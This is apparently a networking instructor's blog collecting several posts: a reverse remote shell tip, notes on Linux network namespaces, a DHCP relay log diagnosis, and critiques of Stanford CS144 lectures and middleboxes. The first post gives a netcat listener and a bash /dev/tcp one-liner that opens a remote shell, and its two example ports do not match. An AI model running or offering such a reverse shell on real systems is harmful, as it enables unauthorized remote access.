Tip: Quick and dirty reverse remote shell

Here is how to get reverse remote shell. I say reverse because the remote system is connecting to you. I'll demonstrate it on a single machine for simplicity. So, open a terminal and run the following command in it:

nc -l 12345

This will start netcat which will listen on port 12345. Then, in the second terminal, run the following command:

/bin/bash -c bash -i >& /dev/tcp/127.0.0.1/8080 0>&1

You won't notice anything in the first window where nc command is running, but try to enter some command there, e.g. pwd. :) What you've got, is remote shell. Obviously, because of the way things work you don't get prompt and other fancy stuff, but it works and that's important. :)

What you basically did is that you run interactive bash process (the option -i) with standard error and standard output redirected to /dev/tcp/127.0.0.1/8080 (redirection operator >&) and also standard output being redirected to the same file (the last 0>&1). The file being redirected to and from is a special notation for the bash shell that allows it to open connections, i.e. the syntax is:

/dev/<protocol>/<ipaddress>/<port>

More details can be found in bash manual page.

Few notes about network namespaces in Linux

For some time I'm working with network namespaces as implemented in the Linux kernel. Here I'll collect some notes about the implementation, behavior, usage and anything else I learn while using network namespaces.

Kernel API for NETNS

Kernel offers two system calls that allow management of network namespaces. The first one is for creating a new network namespace, unshare(2). Actually, this system call allows other types of namespaces to be created, but here we are interested only in network namespaces. So, to create a new network namespace you should call the function like this:

#include <sched.h>
...
    unshare(CLONE_NEWNET);
...

And that would define a new network namespace.

There are two ways other processes can now use that network namespace. The first approach is for the process that created new network namespace to fork other processes and each forked process would share and inherit the parent's process network namespace. The same is true if exec is used.

The second system call kernel offers is setns(2). To use this system call you have to have a file descriptor that is somehow related to the network namespace you want to use. There are two approaches how to obtain the file descriptor.

The first approach is to know the process that lives currently in the required network namespace. Let's say that the PID of the given process is $PID. So, to obtain file descriptor you should open the file /proc/$PID/ns/net file and that's it, pass file descriptor to setns(2) system call to switch network namespace. This approach always works.

The second approach works only for iproute2 compatible tools. Namely, ip command when creating new network namespace creates a file in /var/run/netns directory and bind mounts new network namespace to this file. So, if you know a name of network namespace you want to access (let's say the name is NAME), to obtain file descriptor you just need to open(2) related file, i.e. /var/run/netns/NAME.

Note that there is no system call that would allow you to remove some existing network namespace. Each network namespace exists as long as there is at least one process that uses it, or there is a mount point.

Two remarks for the end of this section. First, there is no system call that would allow one process to move some other process into another network namespace! And second, you need appropriate privileges to use the mentioned system calls, i.e. regular user processes can't switch namespaces.

Socket API behavior

The next question is how Socket API behaves when network namespaces are used, and things here are quite interesting.

First, each socket handle you create is bound to whatever network namespace was active at the time the socket was created. That means that you can set one network namespace to be active (say NS1) create socket and then immediately set another network namespace to be active (NS2). The socket created is bound to NS1 no matter which network namespace is active and socket can be used normally. In other words, when doing some operation with the socket (let's say bind, connect, anything) you don't need to activate socket's own network namespace before that!

Also, to note is that network namespace is per-thread setting, meaning if you set certain network namespace in one thread, this won't have any impact on other threads in the process.

Command line tools

There are two command line tools available to manipulate network namespaces. The first one is nsenter(1) which isn't specific to networking. It allows one to start some process within predefined network namespace. The second tool is ip command from iproute2 package. It allows management of network namespaces and also allows network interfaces to be switched between different namespaces.

NETLINK behavior

To change device from one network namespace to another one, NETLINK must be used. I found somewhere references to /sys files, but at least on my system they don't appear to exist.

One interesting fact is that interface ID is global across all network namespaces - except for loopback interface, i.e. if you create interface in one network namespace and it gets ID N, and then you move it to another network namespace, it will keep ID N.

TBD.

DHCPNAK messages in log file

When I was checking log files I spotted the following log entries that were strange:

Sep  7 11:32:20 srv dhcpd: DHCPREQUEST for 1.1.1.151 from 00:40:5a:18:83:56 via eth0
Sep  7 11:32:20 srv dhcpd: DHCPACK on 1.1.1.151 to 0:4:5:1:8:5 via eth0
Sep  7 11:32:20 srv dhcpd: DHCPREQUEST for 1.1.1.151 from 0:4:5:1:8:5 via 1.1.1.10
Sep  7 11:32:20 srv dhcpd: DHCPACK on 1.1.1.151 to 0:4:5:1:8:5 via 1.1.1.10
Sep  7 11:32:20 srv dhcpd: DHCPREQUEST for 1.1.1.151 from 0:4:5:1:8:5 via 1.1.0.10: wrong network.
Sep  7 11:32:20 srv dhcpd: DHCPNAK on 1.1.1.151 to 0:4:5:1:8:5 via 1.1.0.10

The problem is that DHCP request is received three times, on two of which the answer is positive (DHCPACK) while one received negative response (DHCPNAK) and dhcpd logged the error message 'wrong network'.

The important thing is the network configuration in this specific scenario, which looks something like follows:

  +----+            +-----+              +----+
  |    |------------|     |--------------|    |
  +----+            +-----+              +----+
  Client      Firewall/DHCP relay      DHCP server
1.1.1.151    1.1.1.10     1.1.0.10       1.1.0.4

Looking into log entries, not much can be inferred. The only thing that can be seen is that third DHCPREQUEST came from 1.1.0.10 which isn't on the same network with a client requesting IP address. Sniffing the network gave a bit more information on what's happening. Analyzing the network trace the following were conclusions:

1. There are three DHCPREQUEST messages with the same transaction ID, the same destination (1.1.0.4, i.e. DHCP server) and also client IP address field within DHCP request is set to 1.1.1.151.
2. The first DHCPREQUEST comes directly from the client. It has source IP 1.1.1.151, and there is no relay field (i.e. the value is 0.0.0.0). Also, client MAC address field within DHCP request has MAC address of a given client. 
3. The second DHCP request comes from DHCP relay on the firewall. It has source set to 1.1.0.10, and relay field is properly set to 1.1.1.10, i.e. the IP address from the client's network,.
4. The third DHCP request also comes from DHCP relay on the firewall, but this time relay field is set to 1.1.0.10. This contradicts client's IP address and DHCP server rejects this request.

So, the conclusion is that client sends request to 1.1.0.4. This request is forwarded by the firewall to the server, but also intercepted by DHCP relay on the firewall that creates two proxy requests and sends them to DHCP server too, one of which is rejected.

The interesting thing, not visible in logs, is that DHCP relay upon receiving NAK from the DCHP server, generates new NAK that is broadcasted on the network where DHCP server lives. 

So, the conclusion is that firewall is wrongly configured. It should not forward DHCP requests if there is a relay agent running. Furthermore, those NAKs aren't seen by the client, only by DHCP relay that reflects them back to DHCP servers.

Few remarks on CS144...

I'm teaching computer networks for the past 10 or so years, and during that time I got used to a certain approach in teaching this subject. But as I already noted in the post about e2e design principle and middleboxes, I'm watching course Introduction to Computer Networks (CS144), given on Stanford university. The main reason being that I wanted to see how others are doing it. While I was watching the part of the first lecture, What is Internet - 4 layers, I had some comments, so I decided to write a post about it. But then, I decided to comment on the whole course, not just a single lecture. At least that is my intention at this moment.

One very important thing before I start. Note that every course has to simplify things and remove as much details as possible in order to make things "learnable". So, sometimes lecturers don't tell complete truth, or even they say something that isn't truth. This is acceptable as long as they correct themselves eventually. But because of this it means that there are many approaches to teach something, potentially very different, and I'm looking from the viewpoint of one specific approach, namely the one I'm using. This, in turn, might mean that some, or even majority, will not agree with my comments on CS144 in this post. That's perfectly OK, but anyone reading this post should bear that in mind and not take things for granted!

What is Internet - 4 Layers

The purpose of this lecture is to teach you about layering in the networks. This is a very important concept that is a mandatory knowledge for anyone doing anything that touches networking.

But there are few things that I don't like in the approach taken by CS144. First, more correctness problem than something major, is when the lecturer notes where particular layers are implemented. He doesn't give a complete information in this case because he says that everything below application layer is implemented in the operating system. But, the truth is that parts of "link layer" are implemented in hardware, which definitely isn't an operating system, and within firmware which also isn't part of an operating system. Also, where is the line between hardware/firmware and operating system greatly varies. There are, for example, hardware accelerators for TCP, and in that case hardware/firmware reaches almost up to application layer.

Next, ISO/OSI RM is mentioned only briefly, and the comment was "... that was widely used." It was introduced because network layer is frequently called Layer 3, while in model used in this course it is in layer 2. Before continuing, let me just note that Layer 2 is also frequently used, and Layer 7 (L7) isn't so rarely used, either. Anyway, first ISO/OSI has never been widely used for the purpose it was created, unless you count bureaucratic work done within OSI, which is a lot of (bureaucratic) work! On the other hand, it is widely used as a reference model, i.e. it is used to compare different networks. And also it is widely used when we try to be a general, not tied to a specific network. After all, Internet is only one instance of many other networks, past and future. Now, I agree that it is good policy these days to stick to the Internet when teaching basics of networking. But it should be clear that Internet isn't the only network around. If OSI did something right (well, truth to be told, they did several things right), than it is the stuff around network model (or architecture). Note that there are some things that are not right (e.g. number of layers), but in general it is very well thought subject. By the way, physical layer has much more to do than only wires and connectors, if nothing else because there are three main ways of communication (wireless, wired and optical) and then there are countless number of variations within each of those.

Now, when the lecturer compares the 4 layer model he uses with ISO, he says that TCP covers transport and session layers of ISO/OSI RM. This is the first time ever that I heard that TCP covers session layer. This is based on his premise that the purpose of session layer is connection establishment. But, that's simply not true. The purpose of session layer is management of multiple connections, which can degrade into a single connection and in that case session layer is very thin - in terms of the functionality. On the other hand, connection establishment for a single connection is part of the specific protocol within transport layer (there are of course those that don't have connection establishment). Take for example OSI transport protocol TP4 which has connection establishment, transfer and disconnect phases, just like TCP and OSI definitely places it in transport layer, not session layer!

Finally, the lecture implies that layers are the same thing as protocols, i.e. that transport layer is TCP. But, the layer is just a concept, while TCP is an entity, implementation, that logically belongs to a certain layer.

What is Internet - IP Service Model

This lecture is about IP service, which, as the lecturer says at the beginning is what IP offers to layer above and what it expects from layer below. But I think that this lecture actually mixes services expected from layers below and above, with the inner workings of the IP that are invisible to higher/lower layers:

• Packet fragmenting isn't visible outside of the IP protocol because it is the task of the IP itself to defragment fragmented packets before handing data to the protocol in the layer above. Also, when IP fragmets packets the protocols in lower layers don't know, neither they care, if those are fragments or not. They are treated as opaque data by the lower layer protocols.
• Feature to prevent packets from looping forever is also internal mechanism to IP protocol, and not something that higher or lower layers should know or care about. True, there is ICMP message that informs sender that this happened, but as I said, it is not intended for other layers. If nothing else, because those layers don't determine the value of TTL field. It is a sole discretion of IP protocol itself.
• Checksum in the IP packet isn't used to prevent IP packet to be delivered to wrong destination. Let me cite RFC791 which says that:
  

  This checksum at the internet level is intended to protect the internet header fields from transmission errors.

  So it is intended to protect header from errors, not to prevent deliver of IP packet to wrong destination. True, it might happen that the error occurs in destination address and that, in that case, delivery is prevented but this is only a special case, a consequence, not something specifically targeted.
  Furthermore, while I'm at checksum, it uses simple addition and thus it is a very weak protection mechanism. Actually, it was so useless, and also it was slowing routers, so it was removed in IPv6. By the way, the same version of checksum is equally useful in TCP.
• Options within IPv4 are, again, specific to IPv4 protocol and not something offered as a service to higher layers.

I have to admit that the bullet "Allows for a new versions of IP" totally confused me?

Next, the definition of connectionless service is that no state is established in the network. That is true, but the point is that it is not the feature of a service but of the protocol operation, and thus protocols above (i.e. in higher layers) simply don't care about that. It is possible for some protocol to offer connection oriented service while operating over connectionless "subnetwork" (e.g. TCP over IP) as it is possible to offer connectionless service over connection oriented "subnetwork (e.g. IP over ATM). More about connectionless vs. connestion oriented you can read in my other post.

Note, the term IP layer is somewhat wrong, or at least discussable  Namely, there is no IP layer but network layer in which one of the protocols is IP protocol. Now, I'm aware that many say IP layer so, if we assume that the majority is right, then I'm wrong. :)

Also, for the end of this part it was interesting to see the mixed use of the terms datagram and a packet. I'm almost always using the term packet, rarely datagram, but I'll have to take a look at this more closely.

Anyway, could be that the lectures of this course and I have different view on what "service model" is, but I didn't notice that they defined what they mean by it, they just started to explain service model of different protocols.

Now, while solving quizzes the following questions surprised me:

• An Internet router is allowed to drop packets when it has insufficient resources -- this is the idea of "best effort" service. There can also be cases when resources are available (e.g., link capacity) but the router drops the packet anyways. Which of the following are examples of scenarios where a router drops a packet even when it has sufficient resources?
  
  I thought that the answer was a, c and d (corrupted packet). But, d was rejected.
• In an alternative to the Internet Protocol called "ATM" proposed in the 1990s, the source and destination address is replaced by a unique "flow" identifier that is dynamically created for each new end-to-end communication. Before the communication starts, the flow identifier is added to each router along the path, to indicate the next hop, and then removed when the communication is over. What are the consequences of this design choice?
  
  Here, I thought that the answers are a and c. But apparently, a and d were accepted. Now, c says that  there is a need for control entity to manage flow labels. Might be that I misunderstood "control entity", that it actually means something centralized. In that case probably I'm wrong. And d says there is no more need for transport layer. I would like to hear some arguments for that. Anyway, I'll have to read a bit more details about ATM, after all.

What is internet - TCP UDP

This video starts with the introduction in which the following sentence is stated: ... two different transport layer services, one of them is TCP and the other is UDP. The problem is that TCP and UDP are not services but protocols that offer some service.

"TCP is an example of transport layer". As I said, TCP is protocol, not a layer!

I wouldn't say that the property "stream of bytes" means that the bytes will be delivered in order. That's more the property of reliability. What "stream of bytes" means, in the case of TCP, is that there is no concept of the message and message boundaries. So, if the application sends two times 500 octets, it can be delivered on the other end in one go of 1000 octets, in three rounds, etc.

Source port isn't only used so that TCP knows where to send back data, but also for receiving entity to know how to demultiplex incoming TCP segment. Namely, every connection is uniquely identified by a four tuple (IP src addr, src port, IP dst addr, dst addr) and so source port is used for demultiplexing.

Checksum in TCP is quite weak, as I already argued, so it is not particularly good mechanism for detecting errors.

It is possible that TCP connection is closed in three exchanges, but could be that this will be explained later.

What is the Internet - ICMP

I have to admit that placing ICMP in transport layer is quite a novel approach to layering Internet protocols. The lecturer says that strictly speaking it uses IP and thus it belongs to transport layer. The truth is that it is far from clear where this protocol is, but the point is that when you place protocols in different layers it is not only what the protocol uses, but also what it offers and for what it is used - with respect to layer functionality. So, when we talk about ICMP, it doesn't offer services to layer above, that would be application layer, but it doesn't offer services to transport layer, either. Also, transport layer offers end-to-end communication services to application layer. Note that ICMP, on the other hand, allows communication of network layer entities (IP protocols) between any two nodes within the network. It is produced and consumed by IP protocol implemenations.

Two additional things have to be clarified that someone might take out now and counter argument me. First, there are applications that use ICMP, ping and traceroute. The truth is that ICMP actually was never designed to be used by applications, neither ping nor traceroute (especially not traceroute, search for the word "jelaous" on this page, its an interesting story). It just turned out that something can be used for the purpose not intended initially and so we now have those applications. But, I think that ping and traceroute access directly network layer, that is ICMP.

The second thing that someone might use to say that ICMP isn't in the network layer is OSPF. Namely, OSPF uses directly IP for a transfer service, not UDP nor TCP. So, someone might say that by placing ICMP into the network layer I'm placing OSPF to network layer too. There are those that think that OSPF is there. But, I think that OSPF is in application layer, along with other routing protocols. And that is for two reasons:

1. Routing protocols communicate from end-to-end. It doesn't matter that "end" in this case might be, and is, a network router somewhere within the network, the point is that OSPF application treats that as intended destionations, ends. With ICMP, any node might - for example - drop a packet and generate Time Exceeded message. Note that the node generating error message isn't an end point of the communication!
2. The functionality of the protocols is vastly different. And not only that, but also who is consuming the packets. ICMP is consumed, and generated, by IP protocol. (minus ping/traceroute for whom I already said that they are a special cases). OSPF on the other hand, is quite a complex protocol and IP protocol directly hands data to OSPF application process. IP doesn't consume those messages, neither it produces them.

So, I think OSPF is in application layer, while ICMP is in top part of the network layer.

Additionally, let me return to the lecture slides. Slide number 3 shows data for ICMP coming from the application. It's not true, data comes from the network layer itself, and ping and traceroute are misusing layering.

On slide 5 ICMP is treated as a network protocol in a sense like IP is. But I think that it's misleading. This actually leads me to one more argument why ICMP belongs to the network layer. Namely, ICMP doesn't have any separate implementation, there is no ICMP module within an operating system. There is IP module (protocol implementation) that produces and consumes ICMP messages.

Ok, so much about that lecture. Finally, when I was trying to solve quizzes, I had a problem with a first question: Which of the following statements are true about the ICMP service model? The offered answers were:

1. ICMP messages are typically used to diagnose network problems. This is true, but it's not service model.
2. Some routers would prioritize ICMP messages over other packets. This one isn' true. The routers treat ICMP messages as any other message (unless specifically configured to do so).
3. ICMP messages are useless, since they do not transport actual data. ICMP is definitely not useless.
4. ICMP messages can be maliciously used to scan a network and identify network devices. Yes, they can, but it's not a service model what this question asks.
5. ICMP messages are reliably transmitted over the Internet. They are transferred in IP which is unreliable.

After trial and error it turned out that b is also true!? But then again, I can say that I made mistake because I didn't read that "some would" prioritize, which could be true, and "would" doesn't mean it is necessarily so. Huh, I hate when someone plays with words.

Ok, I'll stop here because this post is brewing for too long, and as I'm having much other work to do, it will take time until I watch all the lectures. Not to mention that it becomes quite large. So, I decided to publish this, and expect new posts eventually...

End2end design principle, middleboxes and a bit about TCP...

I was just watching guest lecture given by Jana Iyengar to the students of CS144 course on Stanford. In his lecture he talks about e2e design principle, and the rise of middleboxes. He then goes on to conclude that middleboxes (especially NATs) are a problem of today's Internet. And I couldn't agree more! It's known fact that Internet was built in such a way that the network is dumb, while end nodes are smart. When I say smart, it means that functionality is placed within smart part of the whole system, while when I say dumb, it means it only performs one simple function. In the case of the Internet, network only moves data from one end to the other, and almost nothing else. This design principle was a key feature that allowed Internet to evolve to today's form and become ubiquitous network. To better illustrate this point, contrast Internet with telephone network. Telephone network was built so that the network itself is smart, while the end nodes (telephones!) are dumb. There is a nice illustration of this difference I saw once I liked very much. Here is the reconstruction of the illustration I saw:

Now, when you wanted something new from your telephone, which included telephone network, you had to wait your telephone company to introduce the service in the network, and only after that you could use it. Contrast that to the Internet, you just had to install a server/service on you computer and whoever wanted to access it had to install client on its machine. And that's it, no changes necessary in the network. Actually, the network doesn't know, neither care, what you are doing and everything works. There is a great example of this: the Web. The Web wouldn't succeed if Tim Berners-Lee had to wait for telephone companies to do something. And since the Internet is popular thanks to the Web, the Internet itself wouldn't succeed. Note that the telephone network functions in such a way because of a historical reasons. But, the telephone provides don't have incentive to change that. When/if they control network, they have revenues. The moment they only transfer data, the revenues are with someone else. And that's the case today with content providers (Google, Yahoo, Microsoft, Youtube, ...) and ISPs.

There is also one additional reason to design network by pushing  functionality to the edge and that's for scalability reasons. I think that it's quite obvious that the simpler something is, the bigger it can be, and it's easier to increase size, so I won't argue this any more.

What is happening now, and for some time, is that NATs are proliferating throughout the network. And since NATs heavily inspect the packets that pass through them and they depend on knowing higher layer protocols, it means they have to have built-in knowledge of higher layer protocols. What that means in turn is that if you are introducing a new service, you have to have support built into NATs. And there are two problems there. First, abundance of installed NATs that can not be changed, and second, bugs within those devices. So, in essence, we are approaching the way telephone networks work. Of course, there are other problems with NATs, but this one is a huge one!

Jana Iyengar then talks about SCTP, and the fact that this protocol exists from 2000 and it still didn't manage to take some ground. And middleboxes, more specifically NATs, are to blame. They pass TCP, fiddling with it, but nothing else. So, one of the things he was doing is using TCP as a communication substrate. In other words, he relied on TCP being passed through middleboxes, and then he went to built protocol on top of it. This protocol then could be used to build another protocols that will work across middleboxes. The modification that they did to TCP allowed it to deliver out-of-order data which they termed as uTCP, unreliable TCP. And, it seems no-one thought of that before.

But, I have to say that in 2011. I worked with a student and we were trying to introduce certain QoS parameters into TCP. The motivation were streaming services. As a part of this we allowed TCP to be unreliable, i.e. it could drop data in order to meet other QoS parameters. The work is described in diploma thesis available online, unfortunately, only in Croatian. But, I intend now to rewrite it into a paper as it was an interesting experiment...